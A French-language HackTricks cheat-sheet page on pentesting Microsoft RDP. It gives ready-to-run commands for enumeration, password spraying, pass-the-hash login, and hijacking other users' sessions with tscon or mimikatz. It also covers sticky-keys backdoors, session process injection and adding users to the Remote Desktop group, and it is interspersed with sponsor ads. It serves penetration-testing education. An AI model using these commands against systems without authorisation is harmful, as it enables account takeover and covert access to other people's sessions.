hacktricks/network-services-pentesting/pentesting-rdp.md

173 lines
9.7 KiB
Markdown

# 3389 - Test d'intrusion RDP
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configuration immédiatement disponible pour l'évaluation de la vulnérabilité et le test d'intrusion**. Lancez un test d'intrusion complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, obtenir des shells et s'amuser.
{% embed url="https://pentest-tools.com/" %}
## Informations de base
Le protocole **Remote Desktop** (**RDP**) est un protocole propriétaire développé par Microsoft, qui fournit à un utilisateur une interface graphique pour se connecter à un autre ordinateur via une connexion réseau. L'utilisateur utilise un logiciel client **RDP** à cette fin, tandis que l'autre ordinateur doit exécuter un logiciel serveur **RDP** (depuis [ici](https://en.wikipedia.org/wiki/Remote\_Desktop\_Protocol)).
**Port par défaut :** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Énumération
### Automatique
{% code overflow="wrap" %}
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
{% endcode %}
Il vérifie les encryptions disponibles et la vulnérabilité aux DoS (sans provoquer de DoS sur le service) et obtient des informations NTLM Windows (versions).
### [Force brute](../generic-methodologies-and-resources/brute-force.md#rdp)
**Attention, vous pourriez bloquer des comptes**
### **Spray de mots de passe**
**Attention, vous pourriez bloquer des comptes**
```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### Connexion avec des identifiants/hash connus
```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### Vérifier les identifiants connus contre les services RDP
rdp\_check.py d'impacket vous permet de vérifier si des identifiants sont valides pour un service RDP :
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configuration immédiatement disponible pour l'évaluation de la vulnérabilité et le pentesting**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, pop shells, et s'amuser.
{% embed url="https://pentest-tools.com/" %}
## **Attaques**
### Vol de session
Avec les **permissions SYSTEM**, vous pouvez accéder à toute **session RDP ouverte par n'importe quel utilisateur** sans avoir besoin de connaître le mot de passe du propriétaire.
**Obtenir les sessions ouvertes :**
```
query user
```
**Accès à la session sélectionnée**
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Maintenant, vous serez dans la session RDP sélectionnée et vous aurez usurpé un utilisateur en utilisant uniquement les outils et fonctionnalités de Windows.
**Important** : Lorsque vous accédez à des sessions RDP actives, vous déconnecterez l'utilisateur qui l'utilisait.
Vous pourriez obtenir des mots de passe en vidant le processus, mais cette méthode est beaucoup plus rapide et vous permet d'interagir avec les bureaux virtuels de l'utilisateur (mots de passe dans le bloc-notes sans être sauvegardés sur le disque, d'autres sessions RDP ouvertes sur d'autres machines...)
#### **Mimikatz**
Vous pourriez également utiliser mimikatz pour cela :
```bash
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
En combinant cette technique avec **stickykeys** ou **utilman, vous pourrez accéder à un CMD administratif et à toute session RDP à tout moment**
Vous pouvez rechercher des RDP qui ont été compromis avec l'une de ces techniques avec : [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### Injection de processus RDP
Si quelqu'un d'un domaine différent ou avec **des privilèges supérieurs se connecte via RDP** sur le PC où **vous êtes Admin**, vous pouvez **injecter** votre beacon dans son **processus de session RDP** et agir comme lui :
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}
### Ajout d'un utilisateur au groupe RDP
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
## Outils Automatiques
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** est un framework de post-exploitation créé en Powershell, conçu principalement pour automatiser l'attaque **Shadow** sur les ordinateurs Microsoft Windows. Cette vulnérabilité (répertoriée comme une fonctionnalité par Microsoft) permet à un attaquant à distance de **voir le bureau de sa victime sans son consentement**, et même de le contrôler à la demande, en utilisant des outils natifs du système d'exploitation lui-même.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Contrôler la souris et le clavier de manière automatisée depuis la ligne de commande
* Contrôler le presse-papiers de manière automatisée depuis la ligne de commande
* Créer un proxy SOCKS depuis le client qui canalise la communication réseau vers la cible via RDP
* Exécuter des commandes SHELL et PowerShell arbitraires sur la cible sans télécharger de fichiers
* Télécharger et envoyer des fichiers vers/depuis la cible même lorsque les transferts de fichiers sont désactivés sur la cible
## Commandes Automatiques HackTricks
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```
```markdown
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
**Configuration immédiatement disponible pour l'évaluation de la vulnérabilité et le pentesting**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur redonner du temps pour approfondir, obtenir des shells et s'amuser.
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```